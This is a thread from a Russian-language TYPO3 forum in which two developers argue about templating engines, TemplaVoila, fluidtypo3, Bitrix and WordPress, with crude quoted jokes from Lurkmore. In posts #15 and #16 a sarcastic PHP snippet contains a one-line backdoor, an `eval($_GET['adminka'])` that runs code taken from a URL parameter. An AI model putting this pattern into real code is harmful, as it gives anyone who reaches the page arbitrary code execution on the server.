Russian TYPO3 community Форум больше не используется. Присоединяйтесь к каналу #community-ru в Slack for TYPO3 community  

Вернуться   Russian TYPO3 community > Тематические форумы > Разработка расширений / TYPO3 extension development

Ответ
 
Опции темы Опции просмотра
Старый 15.01.2016, 14:23   #11
Николай Сипко
Senior Member
 
Регистрация: 17.09.2012
Сообщений: 675
По умолчанию

Цитата:
Сообщение от Ивано++ Посмотреть сообщение
"Последнюю не взлюбил еще в 2005 году, когда впервые начал работать с тайпой. Например, нужно разместить фотогаллерею со своей структурой html, а вместо этого получаешь миллиард div'ов, которые создают такую дикую структуру, что верстальщики при доделках либо получали инфаркт либо бросали свое дело и шли на завод токарем.".
Но это же бред?
Николай Сипко вне форума   Ответить с цитированием
Старый 16.01.2016, 15:13   #12
Николай Сипко
Senior Member
 
Регистрация: 17.09.2012
Сообщений: 675
По умолчанию

Тот же автор дает следующие рекомендации:
http://forum.typo3.biz/showthread.php?t=11767&page=2

Во-первых, не пользуйтесь typo3buddy.com в качестве референса. Я на этом месяц потерял. Информация устарела и не актуальна.

Вместо этого сделайте следующее:
1. Установите fluidcontent_core
2. Установите fluidpages и fluidcontent
3. Установите builder
4. В builder сделайте свой экстеншен для темплейтинга
5. В экстеншен менеджере активируйте свой экстеншен
6. Сделайте в Web->Template новый шаблон и включите в него fluidcontent_core и свой экстеншен
7. Задайте главной странице макет из вашего экстеншена.
8. Все!..
Документация на http://fluidtypo3.org достаточная, но имхо сделана специально неудобоваримой, чтобы оставить работу узкому кругу специалистов в Германии.
__________________
Константин,
Вольный каменщик
=======
Пара бесплатных советов:
Во-первых, руководствуйтесь typo3buddy.com - сайтом автора с высокой квалификацией в TYPO3
Во-вторых, документация на http://fluidtypo3.org позволяет не путать "менталитет" создания расширений и шаблонов страниц. А "работа узкого круга специалистов в Германии" основана, прежде всего, на соблюдении технологической дисциплины
Николай Сипко вне форума   Ответить с цитированием
Старый 16.01.2016, 16:22   #13
Николай Сипко
Senior Member
 
Регистрация: 17.09.2012
Сообщений: 675
По умолчанию

Цитата:
Сообщение от Николай Сипко
И, если не секрет, каким Вы пользуетесь шаблонизатором?
Цитата:
Сообщение от Ивано++
Любой.
Ивано++, все же вопрос из чистого любопытства:
какой шаблонизатор применен Вами на сайте http://t3club.com/?

И что означает
<!--
BEGIN: Content of extension "phptemplate",
controller_file: fileadmin/template/controller.php&index (tx_phptemplate_controller_index),
template_file: fileadmin/template/template.php
-->

Последний раз редактировалось Николай Сипко; 16.01.2016 в 16:53
Николай Сипко вне форума   Ответить с цитированием
Старый 16.01.2016, 19:56   #14
Ивано++
Senior Member
 
Аватар для Ивано++
 
Регистрация: 18.01.2013
Адрес: Russia , Moscow
Сообщений: 796
По умолчанию

Цитата:
Сообщение от Николай Сипко Посмотреть сообщение
Но это же бред?
Если есть существующий проект на TV, то почему бы и нет. Да сложно менять то, что изначально ты не создавал. Но это того стоит, т.к. TV разбита на логические части и с ней понимаешь что происходит...

Но любой новый проект для меня например лучше без TV.
Был опыт еще года два назад - не увидел там ничего, что бы как-то облегчало решение задач. Единственная идея которая очень понравилась - это FCE.

Цитата:
Сообщение от Николай Сипко Посмотреть сообщение
Ивано++, все же вопрос из чистого любопытства:
какой шаблонизатор применен Вами на сайте http://t3club.com/?

И что означает
<!--
BEGIN: Content of extension "phptemplate",
controller_file: fileadmin/template/controller.php&index (tx_phptemplate_controller_index),
template_file: fileadmin/template/template.php
-->
Шаблоизатор этот - пока не опубликован.
Накопители эти - в репозитории опубликовано по ключу air_table
http://t3club.com/portfolio/m-1.html
http://t3club.com/portfolio/m-3.html
__________________
Иван Литовченко
http://iv-litovchenko.ru/
Ивано++ вне форума   Ответить с цитированием
Старый 16.01.2016, 20:22   #15
Николай Сипко
Senior Member
 
Регистрация: 17.09.2012
Сообщений: 675
По умолчанию

Цитата:
Сообщение от Ивано++ Посмотреть сообщение
Шаблоизатор этот - пока не опубликован.
"Альтернативный шаблонизатор для управления выводом HTML-данных"?
http://t3club.com/portfolio/m-3.html

Неужели типа
<?php
echo '<html>
<body>
<h1>This is my home page</h1>
DATING &amp; DOORWAY
</body>
</html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
?>

"И да, если вы когда нибудь увидите html-код, вынесенный за php-тег в файле .php, то смело карайте анально автора, потому что весь html-код можно и нужно выносить в отдельные файлы-шаблоны[1]. А после анальной кары лишите его доступа к клавиатуре из-за eval-гета[2]. И не забудьте ударить его головой об клавиатуру ровно столько раз сколько вычисляется по этой формуле: X = E-1, где X — количество ударов об клавиатуру, а E — количество echo используемых в скрипте.

Доподлинно известны случаи, когда сравнительно сложные проекты из-за явного ФГМ у кодеров, пейсавших их, были выполнены в виде одного-единственного файла.php"
http://lurkmore.to/%D0%9F%D0%A5%D0%9F
Николай Сипко вне форума   Ответить с цитированием
Старый 16.01.2016, 21:57   #16
Ивано++
Senior Member
 
Аватар для Ивано++
 
Регистрация: 18.01.2013
Адрес: Russia , Moscow
Сообщений: 796
По умолчанию

Цитата:
Сообщение от Николай Сипко Посмотреть сообщение
"Альтернативный шаблонизатор для управления выводом HTML-данных"?
http://t3club.com/portfolio/m-3.html

Неужели типа
<?php
echo '<html>
<body>
<h1>This is my home page</h1>
DATING &amp; DOORWAY
</body>
</html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
?>
Так работает pi_base - и это ужастно когда HTML код нужно писать в переменную и отдавать на вывод в 1-месте (return $contetn). Для модулей да, это удобно, но не для Frontend.

Цитата:
Сообщение от Николай Сипко Посмотреть сообщение
"И да, если вы когда нибудь увидите html-код, вынесенный за php-тег в файле .php, то смело карайте анально автора
Так живет весь битрикс и Wordpress...
__________________
Иван Литовченко
http://iv-litovchenko.ru/
Ивано++ вне форума   Ответить с цитированием
Старый 04.02.2016, 18:06   #17
Николай Сипко
Senior Member
 
Регистрация: 17.09.2012
Сообщений: 675
По умолчанию

Цитата:
Сообщение от Ивано++ Посмотреть сообщение
Так живет весь битрикс и Wordpress...
"Где можно оправданно использовать Битрикс?
В анекдотах"
"Он же БыдлоПресс. Эпичнейший высер быдлокодеров и эталонный пример bloatware, написанного на говнокоде. Главный конкурент Ucoz по количеству сделанных говносайтов"
http://lurkmore.to/Cms
А за "fileadmin/template/template.php" в TYPO3 обидно
Николай Сипко вне форума   Ответить с цитированием
Старый 05.02.2016, 08:23   #18
Ивано++
Senior Member
 
Аватар для Ивано++
 
Регистрация: 18.01.2013
Адрес: Russia , Moscow
Сообщений: 796
По умолчанию

Цитата:
Сообщение от Николай Сипко Посмотреть сообщение
"Где можно оправданно использовать Битрикс?
В анекдотах"
"Он же БыдлоПресс. Эпичнейший высер быдлокодеров и эталонный пример bloatware, написанного на говнокоде. Главный конкурент Ucoz по количеству сделанных говносайтов"
http://lurkmore.to/Cms
А за "fileadmin/template/template.php" в TYPO3 обидно
Вы, Николай, видимо ни разу не работали в Российский веб-студиях/компаниях и не недооцениваете великость и всеобъемлемость битрикса, судя по тому, что цетируете такие источники.

http://www.d-it.ru/, http://sp-fan.ru/ (это все битрикс, кстати обратите внимание сколько стоит час работы самого самого специалиста в России, и сколько посещяемость у последнего сайта).

Здесь везде есть интеграция с 1С: когда-то работал в этих фирмах.
http://svarbi.ru/
http://nagornaya17.ru/ - этот сайт, например еще связан с внутренней программой фабрики, при оформлении заказа, заказ попадает в программу колл-центра, где уже дальше ведется его обработка.

Вордпресс - это блоговая система.
Блоги трех разработчиков TYPO3 из СНГ - их частенько цетируют, работают на них... А не на TYPO3. Впрочем как и масса блогов зарубежных TYPO3-разработчиков.

Говнокод - это всего лишь у Вас в голове. При грамотном использовании того или иного инструмента все драйвом будет!

И вообще в начале темы был вопрос - про фреймворки

__________________
Иван Литовченко
http://iv-litovchenko.ru/

Последний раз редактировалось Ивано++; 05.02.2016 в 08:34
Ивано++ вне форума   Ответить с цитированием
Старый 05.02.2016, 13:10   #19
Николай Сипко
Senior Member
 
Регистрация: 17.09.2012
Сообщений: 675
По умолчанию

Цитата:
Сообщение от Ивано++ Посмотреть сообщение
http://nagornaya17.ru/ - этот сайт, например еще связан с внутренней программой фабрики, при оформлении заказа, заказ попадает в программу колл-центра, где уже дальше ведется его обработка
Вы правы, отвлеклись от темы
Насчет "заказ попадает в программу колл-центра"
Смотрел недавно американский фильм "Стажер" (2015)
Мне понравилось, хотя и "фабрика грез"
Николай Сипко вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB code is Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
На что это могут указывать следующие нотации? Faab Общие вопросы 6 25.11.2014 17:04
T3CON12DE - Community, the TYPO3 family and Neos RSS Bot Новости TYPO3 (на английском) 0 16.10.2012 20:10
T3CON12DE - Community, the TYPO3 family and Neos RSS Bot Новости TYPO3 (на английском) 0 16.10.2012 13:47
T3CON12DE - Community, the TYPO3 family and Neos RSS Bot Новости TYPO3 (на английском) 0 15.10.2012 20:10
T3CON12DE - Community, the TYPO3 family and Neos RSS Bot Новости TYPO3 (на английском) 0 15.10.2012 16:06


Часовой пояс GMT +4, время: 19:37.


Работает на vBulletin® версия 3.8.1.
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Перевод: zCarot

Хостинг и техническая поддержка: TYPO3 Лаборатория